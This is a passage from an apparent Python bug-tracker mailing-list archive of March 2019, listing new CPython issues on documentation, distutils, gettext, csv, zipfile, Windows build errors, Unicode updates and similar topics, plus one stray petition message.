Fatal Python error: pymain_compute_path0: memory allocation failed
ValueError: character U+ef3a8fe0 is not in range [U+0000; U+10ffff]

Current thread 0x000000011060e5c0 (most recent call first):

----------
components: macOS
messages: 337469
nosy: lkollar, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python crash on macOS when CWD is invalid
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:38:31 2019
From: report at bugs.python.org (jt)
Date: Fri, 08 Mar 2019 12:38:31 +0000
Subject: [New-bugs-announce] [issue36237] data_files / Install Additional
 Files written unclearly such that it's not obvious what parameter is what
Message-ID: <1552048711.94.0.561477211584.issue36237@roundup.psfhosted.org>


New submission from jt <jonas at thiem.email>:

I find the following doc section found at https://docs.python.org/3.7/distutils/setupscript.html#installing-additional-files about data_files somewhat unclear:

```
setup(...,
      data_files=[('bitmaps', ['bm/b1.gif', 'bm/b2.gif']),
                  ('config', ['cfg/data.cfg']),
                  ('/etc/init.d', ['init-script'])]
     )

Each (directory, files) pair in the sequence specifies the installation directory and the files to install there.

...

The directory should be a relative path. It is interpreted relative to the installation prefix (Python?s sys.prefix for system installations; site.USER_BASE for user installations).
```

This gives me no clue what the installation actually is relative to, since e.g. sys.prefix is just `/usr` - surely I'm not supposed to specify "lib64/python3.7/site-packages/<mypackage-name>/file" as a target?

That is probably not how that text is supposed to be read and I'm sure packaging expert understand what sort of prefix is actually meant, but could this be more elaborated on, maybe an actual example for a fake package of whether this is e.g. the package folder root after the install inside the site packages, or the site packages folder itself, or ...?

----------
assignee: docs at python
components: Documentation
messages: 337471
nosy: docs at python, jt
priority: normal
severity: normal
status: open
title: data_files / Install Additional Files written unclearly such that it's not obvious what parameter is what
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36237>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:43:19 2019
From: report at bugs.python.org (jt)
Date: Fri, 08 Mar 2019 12:43:19 +0000
Subject: [New-bugs-announce] [issue36238] distutils complains "package init
 file 'xxx/__init__.py' not found (or not a regular file)" when using
 Cythonized __init__.pyx
Message-ID: <1552048999.95.0.516949912161.issue36238@roundup.psfhosted.org>


New submission from jt <jonas at thiem.email>:

distutils spits out a warning:

package init file 'xxx/__init__.py' not found (or not a regular file)

... when using Cythonized __init__.pyx instead. However, the installed package works absolutely fine, it can be imported & used perfectly, so this warning seems bogus.

I checked, and this warning is generated inside distutils/command/build_py.py in the build_py class in method check_package(). I suggest that this warning isn't generated in case a C extension is found for the __init__ module, checked in whatever way is appropriate at this stage (e.g. by seeing if there's an __init__.pyx)

----------
components: Distutils
messages: 337472
nosy: dstufft, eric.araujo, jt
priority: normal
severity: normal
status: open
title: distutils complains "package init file 'xxx/__init__.py' not found (or not a regular file)" when using Cythonized __init__.pyx
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36238>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:58:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 13:58:19 +0000
Subject: [New-bugs-announce] [issue36239] gettext: GNUTranslations doesn't
 parse properly comments in description
Message-ID: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

When a translation .po file contains a comment in headers, it's kept when compiled as .mo by msgfmt.

Example with test.po:
---
msgid ""
msgstr ""
"Content-Type: text/plain; charset=UTF-8\n"
"Plural-Forms:  nplurals=2; plural=(n != 1);\n"
"#-#-#-#-#  plo.po (PACKAGE VERSION)  #-#-#-#-#\n"
---

Compile it with "msgfmt". Parse the output file messages.mo using test.py script:
---
import gettext, pprint
with open("messages.mo", "rb") as fp:
    t = gettext.GNUTranslations()
    t._parse(fp)
    pprint.pprint(t._info)
---

Output on Python 3.7.2:
---
{'content-type': 'text/plain; charset=UTF-8',
 'plural-forms': 'nplurals=2; plural=(n != 1);\n'
                 '#-#-#-#-#  plo.po (PACKAGE VERSION)  #-#-#-#-#'}
---

Output of Fedora Python 2.7.15 which contains a fix:
---
{'content-type': 'text/plain; charset=UTF-8',
 'plural-forms': 'nplurals=2; plural=(n != 1);'}
---

I'm not sure that keeping the comment as part of plural forms is correct. Comments should not be ignored?

I made my test on Fedora 29: msgfmt 0.19.8.1, Python 3.7.2.

Links:

* https://bugs.python.org/issue1448060#msg27754
* https://bugs.python.org/issue1475523
* https://bugzilla.redhat.com/show_bug.cgi?id=252136

Fedora has a patch since 2007 to ignore comments:
https://src.fedoraproject.org/rpms/python2/blob/master/f/python-2.5.1-plural-fix.patch

I can easily convert the patch to a PR, maybe with a test. The question is more if the fix is correct or not.

----------
components: Library (Lib)
messages: 337476
nosy: mdk, vstinner
priority: normal
severity: normal
status: open
title: gettext: GNUTranslations doesn't parse properly comments in description
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:28:59 2019
From: report at bugs.python.org (Robert Billing)
Date: Fri, 08 Mar 2019 14:28:59 +0000
Subject: [New-bugs-announce] [issue36240] Definitions of time
Message-ID: <1552055339.11.0.882485944217.issue36240@roundup.psfhosted.org>


New submission from Robert Billing <robertthebilling at googlemail.com>:

https://docs.python.org/3.7/library/time.html contains the text "UTC is Coordinated Universal Time (formerly known as Greenwich Mean Time, or GMT)". This is not strictly true. Referring to https://en.wikipedia.org/wiki/Coordinated_Universal_Time the definition of UTC is in terms of frequency standards, GMT in terms of astronomy. Hence with GMT each minute has exactly 60 seconds, but the length of the second may vary slightly to account for changes in the Earth's rotation. With UTC each second is the same length, but "leap seconds" can be inserted or removed giving 59 and 61 second minutes. The leap seconds keep the two systems in sync to less than one second.

This of course only matters for the most critical applications, but it would be worth documenting correctly.

----------
assignee: docs at python
components: Documentation
messages: 337482
nosy: Robert Billing, docs at python
priority: normal
severity: normal
status: open
title: Definitions of time
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36240>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:14:06 2019
From: report at bugs.python.org (andrejs-sisojevs-accenture)
Date: Fri, 08 Mar 2019 16:14:06 +0000
Subject: [New-bugs-announce] [issue36241] MD5 checksum is not valid for
 v2.7.16 "Windows x86-64 MSI installer"
Message-ID: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>


New submission from andrejs-sisojevs-accenture <andrejs.sisojevs at accenture.com>:

On download page 
https://www.python.org/downloads/release/python-2716/
MD5 checksum for "Windows x86-64 MSI installer" is 2fe86194bb4027be75b29852027f1a79

But download file checksum is `2841e92ba89a6f036305a8a07fbe9d18`.
Checksum calculated on 2 different machines (Windows and MacOS), both strongly protected by antiviruses.

----------
components: Installation
messages: 337502
nosy: andrejs-sisojevs-accenture
priority: normal
severity: normal
status: open
title: MD5 checksum is not valid for v2.7.16 "Windows x86-64 MSI installer"
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Fri Mar  8 11:24:24 2019
From: report at bugs.python.org (Andre Dias)
Date: Fri, 08 Mar 2019 16:24:24 +0000
Subject: [New-bugs-announce] [issue36242] ABC: We ask U.S. news media to
 interview Human Rights expert Alfred de Zayas about Venezuela.
Message-ID: <CAP89Rrf3qcOUpfx4ON_gT2GQfNGQra2zSETrMFDobJmWYscYDw@mail.gmail.com>


New submission from Andre Dias <aod7br at gmail.com>:

Ol?,

Eu acabei de assinar o abaixo-assinado "ABC: We ask U.S. news media to
interview Human Rights expert Alfred de Zayas about Venezuela." e queria
saber se voc? pode ajudar assinando tamb?m.

A nossa meta ? conseguir 1.000 assinaturas e precisamos de mais apoio. Voc?
pode ler mais sobre este assunto e assinar o abaixo-assinado aqui:

http://chng.it/nnZvDGFYh4

Obrigado!
Andre

----------
messages: 337508
nosy: aod
priority: normal
severity: normal
status: open
title: ABC: We ask U.S. news media to interview Human Rights expert Alfred de Zayas about Venezuela.

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36242>
_______________________________________

From report at bugs.python.org  Fri Mar  8 12:22:58 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Fri, 08 Mar 2019 17:22:58 +0000
Subject: [New-bugs-announce] [issue36243] Python os.listdir fails with
 FileNotFoundError when directory exists
Message-ID: <1552065778.9.0.101043375175.issue36243@roundup.psfhosted.org>


New submission from Geoff Alexander <gdlxn at us.ibm.com>:

I have the following code:

```
    def handle_empty_directories(dir):
        if os.path.exists(dir):
            shouter.shout("%s exists" % dir)
        else:
           shouter.shout("%s doesn't exists" % dir)
        entries = os.listdir(dir)
        if entries == []:
            open(os.path.join(dir, Commiter.hed_file), "w").close()
        else:
            if (len(entries) > 1) and (Commiter.hed_file in entries):
                os.remove(os.path.join(dir, Commiter.hed_file))
            for entry in entries:
                if entry not in Commiter.hed_ignore:
                    full_entry = os.path.join(dir, entry)
                    if (os.path.isdir(full_entry)):
                        Commiter.handle_empty_directories(full_entry)
```

Occasionally, the call to os.listdir(dir) fails with FileNotFoundError even though the os.path.exists(dir) call says that exists:

```
    08:57:56 - C:\r2g-wd\sport-6.0.5\SBS\SBS\Light\bin\com\ibm\ArtifactTechnology\ABS\ArtifactBroker exists
    Traceback (most recent call last):
      File "migration.py", line 169, in 
        migrate()
      File "migration.py", line 80, in migrate
        rtc.acceptchangesintoworkspace(rtc.getchangeentriestoaccept(changeentries, history))
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\rtcFunctions.py", line 304, in acceptchangesintoworkspace
        Commiter.handle_empty_directories(os.getcwd())
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 126, in handle_empty_directories
        Commiter.handle_empty_directories(full_entry)
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 126, in handle_empty_directories
        Commiter.handle_empty_directories(full_entry)
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 126, in handle_empty_directories
        Commiter.handle_empty_directories(full_entry)
      [Previous line repeated 6 more times]
      File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 116, in handle_empty_directories
        entries = os.listdir(dir)
    FileNotFoundError: [WinError 3] The system cannot find the path specified: 'C:\\r2g-wd\\sport-6.0.5\\SBS\\SBS\\Light\\bin\\com\\ibm\\ArtifactTechnology\\ABS\\ArtifactBroker'
```

I've also seen a similar FileNoteFound on the 

```
            open(os.path.join(dir, Commiter.hed_file), "w").close()
```

line when os.path.exists(dir) says that the directory exists.

How can this happen? I'm running Python 3.7.2 64-bit on Windows 10.

----------
components: Windows
messages: 337516
nosy: Geoff.Alexander, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Python os.listdir fails with FileNotFoundError when directory exists
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36243>
_______________________________________

From report at bugs.python.org  Fri Mar  8 15:04:20 2019
From: report at bugs.python.org (Konrad Ciecierski)
Date: Fri, 08 Mar 2019 20:04:20 +0000
Subject: [New-bugs-announce] [issue36244] Lock release fails under windows
Message-ID: <1552075460.88.0.0526115232033.issue36244@roundup.psfhosted.org>


New submission from Konrad Ciecierski <konrad.ciecierski at gmail.com>:

In python 3.7.2 when the subprocess releases the acquired lock, 
the OSError occurs: "OSError: [WinError 6] The handle is invalid".
Problem does not occur under Ubuntu 18.

  File "multip-test.py", line 13, in worker
    lock.release()
OSError: [WinError 6] The handle is invalid

----------
components: Interpreter Core, Windows
files: multip-test.py
messages: 337527
nosy: Konrad Ciecierski, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Lock release fails under windows
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48198/multip-test.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36244>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:28:39 2019
From: report at bugs.python.org (Jess)
Date: Fri, 08 Mar 2019 21:28:39 +0000
Subject: [New-bugs-announce] [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
Message-ID: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>


New submission from Jess <jess at gmail.com>:

Have a fix for this that I'll send off shortly.

What I see with the current head (my username was replaced with "Foo Bar" in this example:
> Using "C:\Users\Foo Bar\cpython\PCbuild\\..\externals\pythonx86\tools\python.exe" (found in externals directory)
> Bar\cpython\PCbuild\\..\externals\pythonx86\tools\python.exe""=="" was unexpected at this time.

My theory, window's turning:
> C:\Users\Foo Bar
into
> "C:\Users\Foo Bar"
and this is colliding with our use of "%PYTHON%", creating double quotes, or:
> ""C:\Users\Foo Bar""
which, of course:
> if ""C:\Users\Foo Bar""==""
does not make sense as a statement.

----------
components: Windows
messages: 337530
nosy: Jess, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: PCBuild/build.bat errors, probably from space characters in paths
type: compile error

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:59:52 2019
From: report at bugs.python.org (flow2k)
Date: Fri, 08 Mar 2019 21:59:52 +0000
Subject: [New-bugs-announce] [issue36246] csv.writer lineterminator affects
 csv escaping
Message-ID: <1552082392.37.0.332267389905.issue36246@roundup.psfhosted.org>


New submission from flow2k <sunflow2k at gmail.com>:

output = io.StringIO()
csvData = [1, 2, 'a', 'He said "what do you mean?"', "Whoa!\rNewlines!"]
writer = csv.writer(output,lineterminator='\n')
writer.writerow(csvData)
print(repr(output.getvalue())) #does not escape \r as expected

----------
messages: 337537
nosy: flow2k
priority: normal
severity: normal
status: open
title: csv.writer lineterminator affects csv escaping
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36246>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:56:50 2019
From: report at bugs.python.org (Cristi Fati)
Date: Fri, 08 Mar 2019 22:56:50 +0000
Subject: [New-bugs-announce] [issue36247] zipfile - extract truncates
 (existing) file when bad password provided (zip encryption weakness)
Message-ID: <1552085810.83.0.29138554052.issue36247@roundup.psfhosted.org>


New submission from Cristi Fati <cristifati0 at gmail.com>:

PKWARE encryption password pre check algorithm (relying on an 8 bits value to differentiate passwords) is insanely short.

Most of the wrong passwords are filtered out by the check, but some of them aren't. For the ones in the latter category, when trying to extract an archive member, a 0 lengthed file with its name will be created on the FS (overwriting any previous version).

Usecase:

1. Extract an archive member using the good password. File extracted
2. Extract the same member using a wrong password:
    2.1 For most of the passwords, they will be detected and the operation cancelled
    2.2 But some of them, they won't be detected (false positives), but the decryption itself will fail overwriting the file (from #1.) on FS but leaving it with 0 bytes content

This is the about #2.2.

More details on [[SO]: zipfile.BadZipFile: Bad CRC-32 when extracting a password protected .zip & .zip goes corrupt on extract (@CristiFati's answer)](https://stackoverflow.com/questions/54532010/zipfile-badzipfile-bad-crc-32-when-extracting-a-password-protected-zip-zip/55063500#55063500).

----------
components: Library (Lib)
messages: 337543
nosy: CristiFati
priority: normal
severity: normal
status: open
title: zipfile - extract truncates (existing) file when bad password provided (zip encryption weakness)
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36247>
_______________________________________

From report at bugs.python.org  Sat Mar  9 01:24:24 2019
From: report at bugs.python.org (Windson Yang)
Date: Sat, 09 Mar 2019 06:24:24 +0000
Subject: [New-bugs-announce] [issue36248] document about `or`,
 `and` operator.
Message-ID: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>


New submission from Windson Yang <wiwindson at outlook.com>:

I think we should document the behavior as below, (maybe at https://docs.python.org/3/reference/expressions.html#operator-precedence)

>>> 1 or 0 and 3
1
>>> 0 or 1 and 3
3

Please correct me if we already document it.

----------
assignee: docs at python
components: Documentation
messages: 337555
nosy: Windson Yang, docs at python
priority: normal
severity: normal
status: open
title: document about `or`, `and` operator.
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:10:25 2019
From: report at bugs.python.org (Akash Shende)
Date: Sat, 09 Mar 2019 07:10:25 +0000
Subject: [New-bugs-announce] [issue36249] f-string should be the default
 placeholder
Message-ID: <1552115425.63.0.499899364573.issue36249@roundup.psfhosted.org>


New submission from Akash Shende <akash0x53s at gmail.com>:

Currently lot of code still uses old placeholder and .format() methods for formatting the string. Lets convert them all to f-string

"%s" % (name) => f'{name}'
"{name}".format(name="yoyo") = > f'{name}'

----------
components: Library (Lib)
messages: 337560
nosy: akash0x53
priority: normal
severity: normal
status: open
title: f-string should be the default placeholder

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36249>
_______________________________________

From report at bugs.python.org  Sat Mar  9 09:23:45 2019
From: report at bugs.python.org (daniel hahler)
Date: Sat, 09 Mar 2019 14:23:45 +0000
Subject: [New-bugs-announce] [issue36250] pdb: interaction might cause
 "ValueError: signal only works in main thread"
Message-ID: <1552141425.82.0.352633065246.issue36250@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

This is similar to https://bugs.python.org/issue13120.

I have a patch for a fix already, but no test - will add a PR for it.


Fixed in pdbpp in https://github.com/antocuni/pdb/pull/143, which also has a test that demonstrates it.

----------
components: Library (Lib)
messages: 337572
nosy: blueyed
priority: normal
severity: normal
status: open
title: pdb: interaction might cause "ValueError: signal only works in main thread"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36250>
_______________________________________

From report at bugs.python.org  Sat Mar  9 11:53:01 2019
From: report at bugs.python.org (Stephan Hohe)
Date: Sat, 09 Mar 2019 16:53:01 +0000
Subject: [New-bugs-announce] [issue36251] Invalid format specifiers in
 MatchObject and StdPrinter repr
Message-ID: <1552150381.87.0.0740506040355.issue36251@roundup.psfhosted.org>


New submission from Stephan Hohe <sth.dev at tejp.de>:

match_repr() and stdprinter_repr() contain calls to PyUnicode_FromFormat() with format specifiers that don't match the arguments.

See the upcoming pull request for details.

----------
components: Interpreter Core, Regular Expressions
messages: 337574
nosy: ezio.melotti, mrabarnett, sth
priority: normal
severity: normal
status: open
title: Invalid format specifiers in MatchObject and StdPrinter repr
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36251>
_______________________________________

From report at bugs.python.org  Sat Mar  9 18:28:08 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 09 Mar 2019 23:28:08 +0000
Subject: [New-bugs-announce] [issue36252] update to Unicode 12
Message-ID: <1552174088.7.0.771249971447.issue36252@roundup.psfhosted.org>


New submission from Benjamin Peterson <benjamin at python.org>:

http://blog.unicode.org/2019/03/announcing-unicode-standard-version-120.html

We need to update the databases.

----------
assignee: benjamin.peterson
components: Unicode
messages: 337582
nosy: benjamin.peterson, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: update to Unicode 12
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36252>
_______________________________________

From report at bugs.python.org  Sat Mar  9 19:08:40 2019
From: report at bugs.python.org (Ben Harper)
Date: Sun, 10 Mar 2019 00:08:40 +0000
Subject: [New-bugs-announce] [issue36253] Use after free in ctypes test suite
Message-ID: <1552176520.99.0.273814604607.issue36253@roundup.psfhosted.org>


New submission from Ben Harper <btharper1221 at gmail.com>:

When running the builtin test suite with address sanitizer enabled, one of the ctypes tests causes a use after free demonstrating the danger of using a reference to the inside of a deallocated buffer. This use is detected as an error by the address sanitizer and can be replicated with the following; a stack trace from the resulting failure is attached.

export ASAN_OPTIONS="detect_leaks=0"
make clean
./configure --with-address-sanitizer --with-pydebug
make
./python Lib/ctypes/test/test_stringptr.py StringPtrTestCase -v

----------
components: Tests, ctypes
files: asan StringPtrTestCase.txt
messages: 337583
nosy: btharper
priority: normal
severity: normal
status: open
title: Use after free in ctypes test suite
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8
Added file: https://bugs.python.org/file48202/asan StringPtrTestCase.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36253>
_______________________________________

From report at bugs.python.org  Sun Mar 10 06:44:49 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 10 Mar 2019 10:44:49 +0000
Subject: [New-bugs-announce] [issue36254] Fix invalid uses of %d in format
 strings in C
Message-ID: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The proposed patch fixes invalid uses of %d in format strings in C (mostly when the argument has type Py_ssize_t or size_t).

----------
components: Extension Modules, Interpreter Core
messages: 337606
nosy: serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Fix invalid uses of %d in format strings in C
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Sun Mar 10 10:17:29 2019
From: report at bugs.python.org (Benoit Pilatte)
Date: Sun, 10 Mar 2019 14:17:29 +0000
Subject: [New-bugs-announce] [issue36255] Provide a simple way to delete
 python's welcome message
Message-ID: <1552227449.7.0.67751285833.issue36255@roundup.psfhosted.org>


New submission from Benoit Pilatte <ben.pilatte at gmail.com>:

To my knowledge and extensive research on the problem, there is no simple way to disable python's welcome message:

"""
Python 3.7.2 (default, Jan 13 2019, 12:50:01)
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
"""

It is appended to stdout before the execution of `PYTHONSTARTUP` and is very difficult to remove. This could be easily fixed by:

 1. Allowing modification of the welcome message in `PYTHONSTARTUP`
 2. Provide an option to disable it (IPython provides a `--no-banner` option to disable it)
 3. At least provide a documented way of disabling it without hijacking the shell.

----------
components: Interpreter Core
messages: 337614
nosy: benp
priority: normal
severity: normal
status: open
title: Provide a simple way to delete python's welcome message
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36255>
_______________________________________

From report at bugs.python.org  Sun Mar 10 12:36:59 2019
From: report at bugs.python.org (A. Skrobov)
Date: Sun, 10 Mar 2019 16:36:59 +0000
Subject: [New-bugs-announce] [issue36256] parser module fails on legal input
Message-ID: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>


New submission from A. Skrobov <tyomitch at gmail.com>:

Under #26526, I had optimised the validation code in parser module to use the actual parser DFAs, but my code considers only the token types in the input, and doesn't distinguish between different NAMEs (e.g. different keywords).

The result is this:

Python 3.7.0 (default, Aug 22 2018, 20:50:05) 
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import parser
>>> parser.sequence2st(parser.suite("if True:\n pass\nelse:\n pass").totuple())
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
parser.ParserError: Expected node type 305, got 11.

The fix for this bug is quite simple, and in fact, it had been languishing for 2.5 years under #26415

I can easily enough extract the fix into a PR of its own, but the bigger question is: parser module had been advised against using since Python 2.5; now that it has been broken for 2.5 years, nobody even noticed. (if-else must be quite a common code construct, so anybody trying to use the module would have noticed!) So, should perhaps the module be discontinued rather than fixed?

----------
components: Extension Modules
messages: 337619
nosy: A. Skrobov, benjamin.peterson, berker.peksag, brett.cannon, fdrake, giampaolo.rodola, gregory.p.smith, pablogsal, python-dev, serhiy.storchaka, xcombelle
priority: normal
severity: normal
status: open
title: parser module fails on legal input
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Sun Mar 10 16:22:24 2019
From: report at bugs.python.org (Alain Miniussi)
Date: Sun, 10 Mar 2019 20:22:24 +0000
Subject: [New-bugs-announce] [issue36257] configure with --with-icc
 --with-cxx-main=icpc
Message-ID: <1552249344.2.0.510819308129.issue36257@roundup.psfhosted.org>


New submission from Alain Miniussi <alain.miniussi at oca.eu>:

Hi,

I'm trying to install 3.7.2 on CentOS 7.5 and intel 19:
[alainm at pollux Python-3.7.2]$ ./configure --prefix=/trinity/shared/OCA/softs/pyton-3.7-intel19 --with-icc --with-cxx-main=icpc --enable-optimizations 

Configure look ok but then compilation fails:
------
icpc -c -Wsign-compare -Wunreachable-code -DNDEBUG -g  -O3 -Wall    -std=c99 -Wextra -Wno-unused-parameter -Wno-missing-field-initializers -Wno-cast-function-type -Werror=implicit-function-declaration -fp-model strict -prof-gen  -I. -I./Include    -DPy_BUILD_CORE -o Programs/python.o ./Programs/python.c
icpc: command line warning #10148: option '-Wno-cast-function-type' not supported
icpc: command line warning #10381: option '-std=c99' is not valid for C++ compilations
In file included from ./Include/Python.h(65),
                 from ./Programs/python.c(3):
./Include/pyatomic.h(31): error: identifier "memory_order_relaxed" is undefined
      _Py_memory_order_relaxed = memory_order_relaxed,
....
-----
For some reason, the compilation (and no just the link and main's compilation) is made with icpc, not icc.
Also, if icc is to be used, 'icc -std=c11' is required to use memory_order_relaxed. 

If icpc was to be used,  memory_order_relaxed is in namespace std

Regards
Alain

----------
components: Installation
messages: 337637
nosy: aminiussi
priority: normal
severity: normal
status: open
title: configure with --with-icc --with-cxx-main=icpc
type: compile error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36257>
_______________________________________

From report at bugs.python.org  Sun Mar 10 18:19:05 2019
From: report at bugs.python.org (Ofek Lev)
Date: Sun, 10 Mar 2019 22:19:05 +0000
Subject: [New-bugs-announce] [issue36258] Incorrect docstring of the ssl
 module
Message-ID: <1552256345.94.0.910242914596.issue36258@roundup.psfhosted.org>


New submission from Ofek Lev <ofekmeister at gmail.com>:

The docstring refers to the function `fetch_server_certificate` that no longer exists. Context from https://github.com/python/cpython/pull/12168#issuecomment-469488585:

"""
In the commit on 8/28/2007, the ssl.py module was first added and it contained the fetch_server_certificate() function. That function was removed with commit r57680 on 8/30/2007. The function get_server_certificate() was added in commit r58164 on 9/18/2007.
...
Additionally, there are more than just 2 functions now, so it seems to me that the entire module docstring should be reviewed and updated to reflect the current state of the module or else it should be removed since it hasn't been kept in sync.
"""

----------
assignee: docs at python
components: Documentation
messages: 337639
nosy: Ofekmeister, cheryl.sabella, docs at python
priority: normal
severity: normal
status: open
title: Incorrect docstring of the ssl module
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36258>
_______________________________________

From report at bugs.python.org  Sun Mar 10 21:51:16 2019
From: report at bugs.python.org (rhubarbdog x)
Date: Mon, 11 Mar 2019 01:51:16 +0000
Subject: [New-bugs-announce] [issue36259] exception text is being sourced
 from the wrong file
Message-ID: <1552269076.95.0.121796097495.issue36259@roundup.psfhosted.org>


New submission from rhubarbdog x <rhubarbdog76 at gmail.com>:

Hi
i have a directory containing a directory `bug` and the python program `bad.py`.  The code for `bad.py` is
```
import os

os.chdir('bug')
print(7/0)
```

directory `bug` contains a file `bad.py` this file contents are
```
test 1
test 2
test 3
test 4
test 5
test 6
```

when i run the python script i get the error text
```
Traceback (most recent call last):
  File "bad.py", line 4, in <module>
    test 4
ZeroDivisionError: division by zero
```

----------
messages: 337642
nosy: rhubarbdog x
priority: normal
severity: normal
status: open
title: exception text is being sourced from the wrong file
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36259>
_______________________________________

From report at bugs.python.org  Mon Mar 11 03:16:58 2019
From: report at bugs.python.org (Nick Sung)
Date: Mon, 11 Mar 2019 07:16:58 +0000
Subject: [New-bugs-announce] [issue36260] Cpython/Lib vulnerability found
 and request a patch submission
Message-ID: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>


New submission from Nick Sung <sungboss2004 at gmail.com>:

Dear Python Community, 

We?ve found a vulnerability in cpython Lib and already received a cve number (CVE-2019-9674)
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9674

We also have a patch for this vulnerability, please tell us what to do next.
Since we don?t want to uncover the vulnerability before it get fixed.

JUN-WEI SONG

----------
components: Library (Lib)
messages: 337650
nosy: krnick
priority: normal
severity: normal
status: open
title: Cpython/Lib vulnerability found and request a patch submission
type: security
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Mon Mar 11 07:27:29 2019
From: report at bugs.python.org (era)
Date: Mon, 11 Mar 2019 11:27:29 +0000
Subject: [New-bugs-announce] [issue36261] email examples should not
 gratuitously mess with preamble
Message-ID: <1552303649.8.0.648804018015.issue36261@roundup.psfhosted.org>


New submission from era <era+python at iki.fi>:

Several of the examples in the email module documentation modify the preamble.

This is not good practice. The email MIME preamble is really only useful for communicating information about MIME itself, not for general human-readable content like 'Our family reunion'.

